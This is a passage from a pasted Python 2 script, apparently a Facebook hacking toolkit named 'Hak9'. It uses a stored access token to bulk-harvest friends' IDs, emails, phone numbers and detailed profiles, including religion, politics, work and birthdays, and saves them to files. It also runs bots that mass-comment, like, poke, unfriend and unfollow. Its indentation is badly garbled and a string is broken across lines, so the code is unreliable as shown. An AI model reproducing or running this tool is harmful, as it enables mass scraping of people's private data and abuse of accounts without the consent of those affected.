  531.   print '[!] Exiting program !!'
  532. sys.exit()
  533. elif cek.lower() == 'token':
  534.   try:
  535.   open('cookie/token.log')
  536. print '[!] an access token already exists'
  537. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  538. if cek.lower() != 'y':
  539.   print '[*] Canceling '
  540. bot()
  541. except IOError:
  542.   pass
  543.  
  544. print '\n' + '[*] Generate Access token facebook [*]'.center(44) + '\n'
  545. print '[Warn] please turn off your VPN before using this feature !!!'
  546. id()
  547. elif cek in ['0', '00']:
  548.   print '[!] back to bot menu'
  549. bot()
  550.  
  551. else :
  552.   if cek == '':
  553.   menu_reaction_ask()
  554. else :
  555.   print "[!] command '" + cek + "' not found"
  556. print "[!] type 'menu' to show menu bot"
  557. menu_reaction_ask()
  558. except KeyboardInterrupt:
  559.   menu_reaction_ask()
  560.  
  561. def bot_ask():
  562.   global id, WT, token
  563.  
  564. print '[*] load access token '
  565. try:
  566. token = open('cookie/token.log', 'r').read()
  567. print '[*] Success load access token'
  568. except IOError:
  569.   print '[!] Failed load access token'
  570. print "[!] type 'token' to generate access token"
  571. menu_reaction_ask()
  572.  
  573. WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
  574. if WT.upper() == 'T':
  575.   id = raw_input('[?] id facebook : ')
  576. if id == '':
  577.   print "[!] id target can't be empty"
  578. print '[!] Stopped'
  579. menu_reaction_ask()
  580.  
  581. else :
  582.   WT = 'wallpost'
  583. like(post(), 50)
  584.  
  585. def bot():
  586.   try:
  587.   global type, message, id, WT, token
  588.  
  589. cek = raw_input(R + 'Hak9' + W + '/' + R + 'Bot ' + W + '>> ')
  590.  
  591. if cek in ['1', '01']:
  592.   menu_reaction()
  593. menu_reaction_ask()
  594. elif cek in ['2', '02']:
  595.   print '[*] load access token'
  596. try:
  597. token = open('cookie/token.log', 'r').read()
  598. print '[*] Success load access token'
  599. except IOError:
  600.   print '[!] Failed load access token'
  601. print "[!] type 'token' to generate access token"
  602. bot()
  603.  
  604. WT = raw_input(W + '[?] [' + R + 'W' + W + ']allpost or [' + R + 'T' + W + ']arget (' + R + 'W' + W + '/' + R + 'T' + W + ') : ')
  605. if WT.lower() == "w"
  606. or WT.lower() == '':
  607.   WT = 'wallpost'
  608. else :
  609.   id = raw_input('[?] Id Target : ')
  610.  
  611. if id == '':
  612.   print "[!] id target can't be empty"
  613. print '[!] Stopped'
  614. bot()
  615.  
  616. print '--------------------------------------------------'
  617. print "  [Note] Use the '</>' symbol to change the line\n"
  618.  
  619. message = raw_input('[?] Your Message : ')
  620. if message == '':
  621.   print "[!] Message can't be empty"
  622. print '[!] Stopped'
  623. bot()
  624. else :
  625.   message = message.replace('</>', '\n')
  626.  
  627. comment(post(), 50)
  628.  
  629. elif cek in ['4', '04']:
  630.   WT = 'req'
  631. print '[*] load access token    '
  632.  
  633. try:
  634. token = open('cookie/token.log', 'r').read()
  635. print '[*] Success load access token'
  636. except IOError:
  637.   print '[!] Failed load access token   '
  638. print "[!] type 'token' to generate access token"
  639. bot()
  640. confirm(post())
  641. elif cek in ['3', '03']:
  642.   WT = 'wallpost'
  643. print '[*] load access token    '
  644.  
  645. try:
  646. token = open('cookie/token.log', 'r').read()
  647. print '[*] Success load access token'
  648. except IOError:
  649.   print '[!] Failed load access token'
  650. print "[!] type 'token' to generate access token"
  651. bot()
  652. poke(post())
  653. elif cek in ['5', '05']:
  654.   WT = 'me'
  655. print '[*] load access token    '
  656.  
  657. try:
  658. token = open('cookie/token.log', 'r').read()
  659. print '[*] Success load access token'
  660. except IOError:
  661.   print '[!] Failed load access token'
  662. print "[!] type 'token' to generate access token"
  663. bot()
  664. remove(post())
  665.  
  666. elif cek in ['6', '06']:
  667.   WT = 'friends'
  668. print '[*] load access token     '
  669.  
  670. try:
  671. token = open('cookie/token.log', 'r').read()
  672. print '[*] Success load access token'
  673. except IOError:
  674.   print '[!] Failed load access token'
  675. print "[!] type 'token' to generate access token"
  676. bot()
  677. unfriend(post())
  678.  
  679. elif cek in ['7', '07']:
  680.   WT = 'subs'
  681. print '[*] load access token      '
  682.  
  683. try:
  684. token = open('cookie/token.log', 'r').read()
  685. print '[*] success load access token'
  686. except IOError:
  687.   print '[!] Failed load access token'
  688. print "[!] type 'token' to generate access token"
  689. bot()
  690. unfollow(post())
  691. elif cek in ['8', '08']:
  692.   WT = 'albums'
  693. print '[*] Load access token      '
  694.  
  695. try:
  696. token = open('cookie/token.log', 'r').read()
  697. print '[*] Success load access token'
  698. except IOError:
  699.   print '[!] Failed load access token'
  700. print "[!] type 'token' to generate access token"
  701. albums(post())
  702.  
  703. elif cek in ['0', '00']:
  704.   print '[*] Back to main menu'
  705. main()
  706. elif cek.lower() == 'menu':
  707.   menu_bot()
  708. bot()
  709. elif cek.lower() == 'exit':
  710.   print '[!] Exiting program'
  711. sys.exit()
  712. elif cek.lower() == 'token':
  713.   try:
  714.   open('cookie/token.log')
  715. print '[!] an access token already exists'
  716. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  717. if cek.lower() != 'y':
  718.   print '[*] Canceling '
  719. bot()
  720. except IOError:
  721.   pass
  722.  
  723. print '\n' + '[*] Generate Access token facebook [*]'.center(44) + '\n'
  724. print '[Warn] please turn off your VPN before using this feature !!!'
  725. id()
  726. else :
  727.   if cek == '':
  728.   bot()
  729. else :
  730.   print "[!] command '" + cek + "' not found"
  731. print '[!] type "menu" to show menu bot'
  732. bot()
  733. except KeyboardInterrupt:
  734.   bot()################################################################################
  735.  
  736. ################################################################################ Dump Data
  737.  
  738. def dump_id():
  739.  
  740.   print '[*] Load Access Token'
  741. try:
  742. token = open("cookie/token.log", 'r').read()
  743. print '[*] success load access token'
  744. except IOError:
  745.   print '[!] failed load access token'
  746. print "[*] type 'token' to generate access token"
  747. main()
  748.  
  749. try:
  750. os.mkdir('output')
  751. except OSError:
  752.   pass
  753.  
  754. print '[*] fetching all friends id'
  755. try:
  756.  
  757. r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
  758. a = json.loads(r.text)
  759.  
  760. out = open('output/' + n[0].split(' ')[0] + '_id.txt', 'w')
  761. for i in a['data']:
  762.   out.write(i['id'] + '\n')
  763. print '\r[*] %s retrieved' % (i['id']), ;
  764. sys.stdout.flush();
  765. time.sleep(0.0001)
  766.  
  767. out.close()
  768. print '\r[*] all friends id successfuly retreived'
  769. print '[*] file saved : output/' + n[0].split(' ')[0] + '_id.txt'
  770. main()
  771.  
  772. except KeyboardInterrupt:
  773.   print '\r[!] Stopped'
  774. main()
  775. except KeyError:
  776.   print '[!] failed to fetch friend id'
  777. main()
  778. except(requests.exceptions.ConnectionError, requests.exceptions.ChunkedEncodingError):
  779.   print '[!] Connection Error                 '
  780. print '[!] Stopped'
  781. main()
  782.  
  783. def dump_phone():
  784.   print '[*] load access token'
  785.  
  786. try:
  787. token = open('cookie/token.log', 'r').read()
  788. print '[*] Success load access token'
  789. except IOError:
  790.   print '[!] failed load access token'
  791. print "[*] type 'token' to generate access token"
  792. main()
  793.  
  794. try:
  795. os.mkdir('output')
  796. except OSError:
  797.   pass
  798.  
  799. print "[*] fetching all phone numbers"
  800. print '[*] start'
  801.  
  802. try:
  803. r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
  804. a = json.loads(r.text)
  805.  
  806. out = open('output/' + n[0].split(' ')[0] + '_phone.txt', 'w')
  807.  
  808. for i in a['data']:
  809.   x = requests.get("https://graph.facebook.com/" + i['id'] + "?access_token=" + token)
  810. z = json.loads(x.text)
  811.  
  812. try:
  813. out.write((z['name'] + ' >> ') + (z['mobile_phone'] + '\n'))
  814. print W + z['mobile_phone']
  815. except KeyError:
  816.   pass
  817. out.close()
  818. print '[*] done'
  819. print "[*] all phone numbers successfuly retrieved"
  820. print '[*] file saved : output/' + n[0].split(' ')[0] + '_phone.txt'
  821. main()
  822. except KeyboardInterrupt:
  823.   print '\r[!] Stopped'
  824. main()
  825. except KeyError:
  826.   print "[!] failed to fetch all phone numbers"
  827. main()
  828. except(requests.exceptions.ConnectionError, requests.exceptions.ChunkedEncodingError):
  829.   print '[!] Connection Error'
  830. print '[!] Stopped'
  831. main()
  832.  
  833. def dump_mail():
  834.   print '[*] load access token'
  835.  
  836. try:
  837. token = open('cookie/token.log', 'r').read()
  838. print '[*] Success load access token'
  839. except IOError:
  840.   print '[!] failed load access token'
  841. print "[*] type 'token' to generate access token"
  842. main()
  843.  
  844. try:
  845. os.mkdir('output')
  846. except OSError:
  847.   pass
  848.  
  849. print '[*] fetching all emails'
  850. print '[*] start'
  851.  
  852. try:
  853. r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
  854. a = json.loads(r.text)
  855.  
  856. out = open('output/' + n[0].split(' ')[0] + '_mails.txt', 'w')
  857.  
  858. for i in a['data']:
  859.   x = requests.get("https://graph.facebook.com/" + i['id'] + "?access_token=" + token)
  860. z = json.loads(x.text)
  861.  
  862. try:
  863. out.write((z['name'] + ' >> ') + (z['email'] + '\n'))
  864.  
  865. print W + z['email']
  866. except KeyError:
  867.   pass
  868. out.close()
  869.  
  870. print '[*] done'
  871. print "[*] all emails successfuly retrieved"
  872. print '[*] file saved : output/' + n[0].split(' ')[0] + '_mails.txt'
  873. main()
  874.  
  875. except KeyboardInterrupt:
  876.   print '\r[!] Stopped'
  877. main()
  878. except KeyError:
  879.   print "[!] failed to fetch all emails"
  880. main()
  881. except(requests.exceptions.ConnectionError, requests.exceptions.ChunkedEncodingError):
  882.   print '[!] Connection Error'
  883. print '[!] Stopped'
  884. main()
  885.  
  886. def dump_info():
  887.   print '[*] load access token'
  888.  
  889. try:
  890. token = open('cookie/token.log', 'r').read()
  891. print '[*] Success load access token'
  892. except IOError:
  893.   print '[!] failed load access token'
  894. print "[*] type 'token' to generate access token"
  895. main()
  896.  
  897. try:
  898. os.mkdir('output')
  899. except OSError:
  900.   pass
  901.  
  902. print '[*] fetching all information'
  903. print '[*] start'
  904.  
  905. try:
  906. r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
  907. a = json.loads(r.text)
  908.  
  909. out = open('output/' + n[0].split(' ')[0] + '_info.txt', 'w')
  910.  
  911. for i in a['data']:
  912.  
  913.   x = requests.get("https://graph.facebook.com/" + i['id'] + "?access_token=" + token)
  914. y = json.loads(x.text)
  915.  
  916. print ' '
  917. print G + '[-------- INFORMATION --------]'.center(44)
  918. print W
  919.  
  920. try:
  921. print '\n[*] Id : ' + i['id']
  922. except KeyError:
  923.   pass
  924. try:
  925. print '[*] Username : ' + y['username']
  926. except KeyError:
  927.   pass
  928. try:
  929. print '[*] Email : ' + y['email']
  930. except KeyError:
  931.   pass
  932. try:
  933. print '[*] Mobile Phone : ' + y['mobile_phone']
  934. except KeyError:
  935.   pass
  936. try:
  937. print '[*] Name : ' + y['name']
  938. except KeyError:
  939.   pass
  940. try:
  941. print '[*] First name : ' + y['first_name']
  942. except KeyError:
  943.   pass
  944. try:
  945. print '[*] Midle name : ' + y['middle_name']
  946. except KeyError:
  947.   pass
  948. try:
  949. print '[*] Last name : ' + y['last_name']
  950. except KeyError:
  951.   pass
  952. try:
  953. print '[*] Locale : ' + y['locale'].split('_')[0]
  954. except KeyError:
  955.   pass
  956. try:
  957. print '[*] location : ' + y['location']['name']
  958. except KeyError:
  959.   pass
  960. try:
  961. print '[*] hometown : ' + y['hometown']['name']
  962. except KeyError:
  963.   pass
  964. try:
  965. print '[*] gender : ' + y['gender']
  966. except KeyError:
  967.   pass
  968. try:
  969. print '[*] religion : ' + y['religion']
  970. except KeyError:
  971.   pass
  972. try:
  973. print '[*] relationship status : ' + y['relationship_status']
  974. except KeyError:
  975.   pass
  976. try:
  977. print '[*] political : ' + y['political']
  978. except KeyError:
  979.   pass
  980. try:
  981. print '[*] Work :'
  982.  
  983. for i in y['work']:
  984.   try:
  985.   print '   [-] position : ' + i['position']['name']
  986. except KeyError:
  987.   pass
  988. try:
  989. print '   [-] employer : ' + i['employer']['name']
  990. except KeyError:
  991.   pass
  992. try:
  993. if i['start_date'] == "0000-00":
  994.   print '   [-] start date : ---'
  995. else :
  996.   print '   [-] start date : ' + i['start_date']
  997. except KeyError:
  998.   pass
  999. try:
  1000. if i['end_date'] == "0000-00":
  1001.   print '   [-] end date : ---'
  1002. else :
  1003.   print '   [-] end date : ' + i['end_date']
  1004. except KeyError:
  1005.   pass
  1006. try:
  1007. print '   [-] location : ' + i['location']['name']
  1008. except KeyError:
  1009.   pass
  1010. print ' '
  1011. except KeyError:
  1012.   pass
  1013. try:
  1014. print '[*] Updated time : ' + y['updated_time'][: 10] + ' ' + y['updated_time'][11: 19]
  1015. except KeyError:
  1016.   pass
  1017. try:
  1018. print '[*] Languages : '
  1019. for i in y['languages']:
  1020.   try:
  1021.   print ' ~  ' + i['name']
  1022. except KeyError:
  1023.   pass
  1024. except KeyError:
  1025.   pass
  1026. try:
  1027. print '[*] Bio : ' + y['bio']
  1028. except KeyError:
  1029.   pass
  1030. try:
  1031. print '[*] quotes : ' + y['quotes']
  1032. except KeyError:
  1033.   pass
  1034. try:
  1035. print '[*] birthday : ' + y['birthday'].replace('/', '-')
  1036. except KeyError:
  1037.   pass
  1038. try:
  1039. print '[*] link : ' + y['link']
  1040. except KeyError:
  1041.   pass
  1042. try:
  1043. print '[*] Favourite teams : '
  1044. for i in y['favorite_teams']:
  1045.   try:
  1046.   print ' ~  ' + i['name']
  1047. except KeyError:
  1048.   pass
  1049. except KeyError:
  1050.   pass
  1051. try:
  1052. print '[*] School : '
  1053. for i in y['education']:
  1054.   try:
  1055.   print ' ~  ' + i['school']['name']
  1056. except KeyError:
  1057.   pass
  1058. except KeyError:
  1059.   pass
  1060. else :
  1061.   pass
  1062.  
  1063. else :
  1064.   print W + ' '
  1065. print '[*] Done '
  1066. main()
  1067.  
  1068. try:
  1069. out.write((y['email'] + ' >> ') + (y['name'] + '\n'))
  1070.  
  1071. except KeyError:
  1072.   pass
  1073. out.close()
  1074.  
  1075. print '[*] done'
  1076. print "[*] all information successfuly retrieved"
  1077. print '[*] file saved : output/' + n[0].split(' ')[0] + '_info.txt'
  1078. main()
  1079.  
  1080. except KeyboardInterrupt:
  1081.   print '\r[!] Stopped'
  1082. main()
  1083. except KeyError:
  1084.   print "[!] failed to fetch all information"
  1085. main()
  1086. except(requests.exceptions.ConnectionError, requests.exceptions.ChunkedEncodingError):
  1087.   print '[!] Connection Error'
  1088. print '[!] Stopped'
  1089. main()
  1090. def dump_id_id():
  1091.   global target_id
  1092.  
  1093. print '[*] load access token'
  1094.  
  1095. try:
  1096. token = open('cookie/token.log', 'r').read()
  1097. print '[*] Success load access token'
  1098. except IOError:
  1099.   print '[!] failed load access token'
  1100. print "[*] type 'token' to generate access token"
  1101. main()
  1102.  
  1103. try:
  1104. os.mkdir('output')
  1105. except OSError:
  1106.   pass
  1107.  
  1108. print '[*] fetching all id from your friend'
  1109.  
  1110. try:
  1111. r = requests.get('https://graph.facebook.com/{id}?fields=friends.limit(5000)&access_token={token}'.format(id = target_id, token = token))
  1112. a = json.loads(r.text)
  1113.  
  1114. out = open('output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt', 'w')
  1115.  
  1116. for i in a['friends']['data']:
  1117.   out.write(i['id'] + '\n')
  1118. print '\r[*] %s retrieved' % (i['id']), ;
  1119. sys.stdout.flush();
  1120. time.sleep(0.0001)
  1121. out.close()
  1122.  
  1123. print '\r[*] all friends id successfuly retreived'
  1124. print '[*] file saved : output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt'
  1125. main()
  1126. except KeyboardInterrupt:
  1127.   print '\r[!] Stopped'
  1128. main()
  1129. except KeyError:
  1130.   print '[!] failed to fetch friend id'
  1131. try:
  1132. os.remove('output/' + n[0].split(' ')[0] + '_' + target_id + '_id.txt')
  1133. except OSError:
  1134.   pass
  1135. main()
  1136. except(requests.exceptions.ConnectionError, requests.exceptions.ChunkedEncodingError):
  1137.   print '[!] Connection Error                      '
  1138. print '[!] Stopped'################################################################################
  1139.  
  1140. ################################################################################ Main
  1141.  
  1142. def main():
  1143.   global target_id
  1144.  
  1145. try:
  1146. cek = raw_input(R + 'Hak9' + W + ' >> ')
  1147.  
  1148. if cek.lower() == 'get_data':
  1149.   if len(jml) == 0:
  1150.   getdata()
  1151. else :
  1152.   print '[*] You have retrieved %s friends data' % (len(jml))
  1153. main()
  1154. elif cek.lower() == 'get_info':
  1155.   print '\n' + '[*] Information Gathering [*]'.center(44) + '\n'
  1156. search()
  1157. elif cek.lower() == 'bot':
  1158.   menu_bot()
  1159. bot()
  1160. elif cek.lower() == "cat_token":
  1161.   try:
  1162.   o = open('cookie/token.log', 'r').read()
  1163. print '[*] Your access token !!\n\n' + o + '\n'
  1164. main()
  1165. except IOError:
  1166.   print '[!] failed to open cookie/token.log'
  1167. print "[!] type 'token' to generate access token"
  1168. main()
  1169.  
  1170. elif cek.lower() == 'clear':
  1171.   if sys.platform == 'win32':
  1172.   os.system('cls')
  1173. baliho()
  1174. main()
  1175. else :
  1176.   os.system('clear')
  1177. baliho()
  1178. main()
  1179.  
  1180. elif cek.lower() == 'token':
  1181.   try:
  1182.   open('cookie/token.log')
  1183. print '[!] an access token already exists'
  1184. cek = raw_input('[?] Are you sure you want to continue [Y/N] ')
  1185. if cek.lower() != 'y':
  1186.   print '[*] Canceling '
  1187. bot()
  1188. except IOError:
  1189.   pass
  1190.  
  1191. print '\n' + '[*] Generate Access token facebook [*]'.center(44) + '\n'
  1192. print '[Warn] please turn off your VPN before using this feature !!!'
  1193. id()
  1194. elif cek.lower() == 'rm_token':
  1195.   print ''
  1196. ' [Warn] you must create access token again
  1197. if
  1198. your access token is deleted
  1199.  ''
  1200. '
  1201. a = raw_input("[!] type 'delete' to continue : ")
  1202. if a.lower() == 'delete':
  1203.   try:
  1204.   os.system('rm -rf cookie/token.log')
  1205. print '[*] Success delete cookie/token.log'
  1206. main()
  1207. except OSError:
  1208.   print '[*] failed to delete cookie/token.log'
  1209. main()
  1210. else :
  1211.   print '[*] failed to delete cookie/token.log'
  1212. main()
  1213. elif cek.lower() == 'about':
  1214.   show_program()
  1215. main()
  1216. elif cek.lower() == 'exit':
  1217.   print "[!] Exiting Program"
  1218. sys.exit()
  1219. elif cek.lower() == 'help':
  1220.   info_ga()
  1221. main()
  1222. elif cek.lower() == 'dump_id':
  1223.   dump_id()
  1224. elif cek.lower() == 'dump_phone':
  1225.   dump_phone()
  1226. elif cek.lower() == 'dump_mail':
  1227.   dump_mail()
  1228.  
  1229. if 'dump_' in cek.lower() and cek.lower().split('_')[2] == 'id':
  1230.   target_id = cek.lower().split('_')[1]
  1231. dump_id_id()
  1232. else :
  1233.   if cek == '':
  1234.   main()
  1235. else :
  1236.   print "[!] command '" + cek + "' not found"
  1237. print '[!] type "help" to show command'
  1238. main()
  1239. except KeyboardInterrupt:
  1240.   main()
  1241. except IndexError:
  1242.   print '[!] invalid parameter on command : ' + cek
  1243. main()#######################################################################################################################
  1244.  
  1245. ################################################################################# Get Data
  1246.  
  1247. def getdata():
  1248.   global a, token
  1249.  
  1250. print '[*] Load Access Token'
  1251.  
  1252. try:
  1253. token = open("cookie/token.log", "r").read()
  1254. print '[*] Success load access token '
  1255. except IOError:
  1256.   print '[!] failed to open cookie/token.log'
  1257. print "[!] type 'token' to generate access token"
  1258. main()
  1259.  
  1260. print '[*] fetching all friends data'
  1261.  
  1262. try:
  1263. r = requests.get('https://graph.facebook.com/me/friends?access_token=' + token)
  1264. a = json.loads(r.text)
  1265.  
  1266. except KeyError:
  1267.   print '[!] Your access token is expired'
  1268. print "[!] type 'token' to generate access token"
  1269. main()
  1270.  
  1271. except requests.exceptions.ConnectionError:
  1272.   print '[!] Connection Error'
  1273. print '[!] Stopped'
  1274. main()
  1275.  
  1276. for i in a['data']:
  1277.   jml.append(i['id'])
  1278. print '\r[*] fetching %s data from friends' % (len(jml)), ;
  1279. sys.stdout.flush();
  1280. time.sleep(0.0001)
  1281.  
  1282. print '\r[*] ' + str(len(jml)) + ' data of friends successfully retrieved'
  1283. main()
  1284.  
  1285. def search():
  1286.  
  1287.   if len(jml) == 0:
  1288.   print "[!] no friend data in the database"
  1289. print '[!] type "get_data" to collect friends data'
  1290. main()
  1291. else :
  1292.   pass
  1293.  
  1294. target = raw_input("[!] Search Name or Id : ")
  1295.  
  1296. if target == '':
  1297.   print "[!] name or id can't be empty !!"
  1298. search()
  1299. else :
  1300.   info(target)
  1301.  
  1302. def info(target):
  1303.   global a, token
  1304.  
  1305. print '[*] Searching'
  1306. for i in a['data']:
  1307.  
  1308.   if target in i['name'] or target in i['id']:
  1309.  
  1310.   x = requests.get("https://graph.facebook.com/" + i['id'] + "?access_token=" + token)
  1311. y = json.loads(x.text)
  1312.  
  1313. print ' '
  1314. print G + '[-------- INFORMATION --------]'.center(44)
  1315. print W
  1316.  
  1317. try:
  1318. print '\n[*] Id : ' + i['id']
  1319. except KeyError:
  1320.   pass
  1321. try:
  1322. print '[*] Username : ' + y['username']
  1323. except KeyError:
  1324.   pass
  1325. try:
  1326. print '[*] Email : ' + y['email']
  1327. except KeyError:
  1328.   pass
  1329. try:
  1330. print '[*] Mobile Phone : ' + y['mobile_phone']
  1331. except KeyError:
  1332.   pass
  1333. try:
  1334. print '[*] Name : ' + y['name']
  1335. except KeyError:
  1336.   pass
  1337. try:
  1338. print '[*] First name : ' + y['first_name']
  1339. except KeyError:
  1340.   pass
  1341. try:
  1342. print '[*] Midle name : ' + y['middle_name']
  1343. except KeyError:
  1344.   pass
  1345. try:
  1346. print '[*] Last name : ' + y['last_name']
  1347. except KeyError:
  1348.   pass
  1349. try:
  1350. print '[*] Locale : ' + y['locale'].split('_')[0]
  1351. except KeyError:
  1352.   pass
  1353. try:
  1354. print '[*] location : ' + y['location']['name']
  1355. except KeyError:
  1356.   pass
  1357. try:
  1358. print '[*] hometown : ' + y['hometown']['name']
  1359. except KeyError:
  1360.   pass
  1361. try:
  1362. print '[*] gender : ' + y['gender']
  1363. except KeyError:
  1364.   pass
  1365. try:
  1366. print '[*] religion : ' + y['religion']
  1367. except KeyError:
  1368.   pass
  1369. try:
  1370. print '[*] relationship status : ' + y['relationship_status']
  1371. except KeyError:
  1372.   pass
  1373. try:
  1374. print '[*] political : ' + y['political']
  1375. except KeyError:
  1376.   pass
  1377. try:
  1378. print '[*] Work :'
  1379.  
  1380. for i in y['work']:
  1381.   try:
  1382.   print '   [-] position : ' + i['position']['name']
  1383. except KeyError:
  1384.   pass
  1385. try:
  1386. print '   [-] employer : ' + i['employer']['name']
  1387. except KeyError:
  1388.   pass
  1389. try:
  1390. if i['start_date'] == "0000-00":
  1391.   print '   [-] start date : ---'
  1392. else :
  1393.   print '   [-] start date : ' + i['start_date']
  1394. except KeyError:
  1395.   pass
  1396. try:
  1397. if i['end_date'] == "0000-00":
  1398.   print '   [-] end date : ---'
  1399. else :
  1400.   print '   [-] end date : ' + i['end_date']
  1401. except KeyError:
  1402.   pass
  1403. try:
  1404. print '   [-] location : ' + i['location']['name']
  1405. except KeyError:
  1406.   pass
  1407. print ' '
  1408. except KeyError:
  1409.   pass
  1410. try:
  1411. print '[*] Updated time : ' + y['updated_time'][: 10] + ' ' + y['updated_time'][11: 19]
  1412. except KeyError:
  1413.   pass
  1414. try:
  1415. print '[*] Languages : '
  1416. for i in y['languages']:
  1417.   try:
  1418.   print ' ~  ' + i['name']
  1419. except KeyError:
  1420.   pass
  1421. except KeyError:
  1422.   pass
  1423. try:
  1424. print '[*] Bio : ' + y['bio']
  1425. except KeyError:
  1426.   pass
  1427. try:
  1428. print '[*] quotes : ' + y['quotes']
  1429. except KeyError:
  1430.   pass
  1431. try:
  1432. print '[*] birthday : ' + y['birthday'].replace('/', '-')
  1433. except KeyError:
  1434.   pass
  1435. try:
  1436. print '[*] link : ' + y['link']
  1437. except KeyError:
  1438.   pass
  1439. try:
  1440. print '[*] Favourite teams : '
  1441. for i in y['favorite_teams']:
  1442.   try:
  1443.   print ' ~  ' + i['name']
  1444. except KeyError:
  1445.   pass
  1446. except KeyError:
  1447.   pass
  1448. try:
  1449. print '[*] School : '
  1450. for i in y['education']:
  1451.   try:
  1452.   print ' ~  ' + i['school']['name']
  1453. except KeyError:
  1454.   pass
  1455. except KeyError:
  1456.   pass
  1457. else :
  1458.   pass
  1459.  
  1460. else :
  1461.   print W + ' '
  1462. print '[*] Done '
  1463. main()
  1464.  
  1465. ###########################################################################
  1466.  
  1467. ###########################################################################
  1468.  
  1469. if __name__ == '__main__':
  1470.  
  1471.   baliho()
  1472. main()
  1473.  
  1474. ###########################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement